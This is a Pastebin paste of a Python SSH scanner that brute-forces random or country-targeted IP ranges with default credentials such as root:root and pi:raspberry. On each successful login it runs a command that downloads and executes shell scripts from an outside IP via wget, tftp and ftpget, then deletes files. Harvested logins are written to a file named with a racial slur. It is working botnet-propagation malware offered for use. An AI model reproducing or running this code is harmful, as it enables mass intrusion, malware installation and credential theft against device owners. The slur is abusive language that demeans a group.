Advertisement
Guest User

Untitled

a guest
Feb 26th, 2018
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.33 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. blacklist = [
  7. '127'
  8. ]
  9.  
  10. passwords = [
  11. "admin:admin"
  12. "root:root"
  13. "root:admin"
  14. "telnet:telnet"
  15. "guest:guest"
  16. "admin:admin"
  17. "admin:1234"
  18. "pi:raspberry"
  19. "vagrant:vagrant"
  20. "ubnt:ubnt"
  21. ]
  22.  
  23.  
  24. if sys.argv[4] == '1':
  25. passwords = ["root:root"]
  26. if sys.argv[4] == '2':
  27. passwords = ["guest:guest"]
  28. if sys.argv[4] == '3':
  29. passwords = ["admin:1234"]
  30. if sys.argv[4] == '4':
  31. passwords = ["telnet:telnet","root:root","ubnt:ubnt"]
  32.  
  33. print "\x1b[0;31mScanner Started...\x1b[0m"
  34.  
  35. ipclassinfo = sys.argv[2]
  36. if ipclassinfo == "A":
  37. ip1 = sys.argv[3]
  38. elif ipclassinfo == "B":
  39. ip1 = sys.argv[3].split(".")[0]
  40. ip2 = sys.argv[3].split(".")[1]
  41. elif ipclassinfo == "C":
  42. ips = sys.argv[3].split(".")
  43. num=0
  44. for ip in ips:
  45. num=num+1
  46. if num == 1:
  47. ip1 = ip
  48. elif num == 2:
  49. ip2 = ip
  50. elif num == 3:
  51. ip3 = ip
  52. class sshscanner(threading.Thread):
  53. global passwords
  54. global ipclassinfo
  55. if ipclassinfo == "A":
  56. global ip1
  57. elif ipclassinfo == "B":
  58. global ip1
  59. global ip2
  60. elif ipclassinfo == "C":
  61. global ip1
  62. global ip2
  63. global ip3
  64. def run(self):
  65. while 1:
  66. try:
  67. while 1:
  68. thisipisbad='no'
  69. if ipclassinfo == "A":
  70. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  71. elif ipclassinfo == "B":
  72. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  73. elif ipclassinfo == "C":
  74. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  75. elif ipclassinfo == "BRAZIL":
  76. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  77. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  78. elif ipclassinfo == "ER":
  79. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  80. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  81. elif ipclassinfo == "LUCKY":
  82. lucky = ["125.27","101.109","113.53","118.173","122.170","122.180"]
  83. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  84. elif ipclassinfo == "LUCKY2":
  85. lucky2 = [ "122.3","122.52","122.54","119.93" ]
  86. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  87. elif ipclassinfo == "LUCKY3":
  88. lucky2 = [ "103.20","103.30","103.47","103.57" ]
  89. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  90. elif ipclassinfo == "RAND":
  91. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  92. elif ipclassinfo == "INTERNET":
  93. lol = ["1"]
  94. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  95. else:
  96. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  97. for badip in blacklist:
  98. if badip in self.host:
  99. thisipisbad='yes'
  100. if thisipisbad=='no':
  101. break
  102. username='root'
  103. password=""
  104. port = 22
  105. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  106. s.settimeout(3)
  107. s.connect((self.host, port))
  108. s.close()
  109. ssh = paramiko.SSHClient()
  110. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  111. dobreak=False
  112. for passwd in passwords:
  113. if ":n/a" in passwd:
  114. password=""
  115. else:
  116. password=passwd.split(":")[1]
  117. if "n/a:" in passwd:
  118. username=""
  119. else:
  120. username=passwd.split(":")[0]
  121. try:
  122. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  123. dobreak=True
  124. break
  125. except:
  126. pass
  127. if True == dobreak:
  128. break
  129. badserver=True
  130. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  131. output = stdout.read()
  132. if "inet addr" in output:
  133. badserver=False
  134. if badserver == False:
  135. print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  136. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://159.89.225.37/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 159.89.225.37 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 159.89.225.37; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 159.89.225.37 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
  137. nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  138. time.sleep(15)
  139. ssh.close()
  140. except:
  141. pass
  142.  
  143. for x in range(0,1500):
  144. try:
  145. t = sshscanner()
  146. t.start()
  147. except:
  148. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement